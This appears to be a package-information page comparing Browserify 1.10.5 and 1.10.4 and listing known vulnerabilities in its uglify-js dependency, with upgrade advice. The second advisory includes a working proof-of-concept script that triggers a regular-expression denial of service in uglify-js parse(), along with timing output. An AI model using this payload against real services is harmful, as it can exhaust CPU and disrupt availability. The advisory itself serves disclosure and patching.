Browserify versions 1.10.5 and 1.10.4 are subtly different iterations of a tool crucial for front-end developers aiming to leverage Node.js-style require() statements within browser environments. Both versions share the same core functionality: enabling modular JavaScript development by allowing you to bundle server-side code for client-side execution. They also have identical dependencies, including nub, deputy, resolve, and other packages essential for resolving modules, managing dependencies, and providing browser-compatible versions of Node.js built-in modules like vm and http. Development dependencies also remain the same, indicating a consistent testing and build process across both versions.
The key difference lies in the release date; version 1.10.5 was released on March 28, 2012, while version 1.10.4 was released earlier on March 5, 2012. This suggests that version 1.10.5 likely includes bug fixes, minor enhancements, or perhaps resolves compatibility issues discovered after the previous release. Although the specific changes aren't explicitly detailed, developers should consider upgrading to the newer version (1.10.5) to benefit from potential stability improvements and resolved issues if they're working with legacy code. Considering the age, it's more important to be aware of how different bundling strategies can affect performance. While both were popular in their time, modern tools are available today.
All the vulnerabilities related to the version 1.10.5 of the package
Incorrect Handling of Non-Boolean Comparisons During Minification in uglify-js
Versions of uglify-js prior to 2.4.24 are affected by a vulnerability which may cause crafted JavaScript to have altered functionality after minification.
Upgrade UglifyJS to version >= 2.4.24.
Regular Expression Denial of Service in uglify-js
Versions of uglify-js prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse() method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.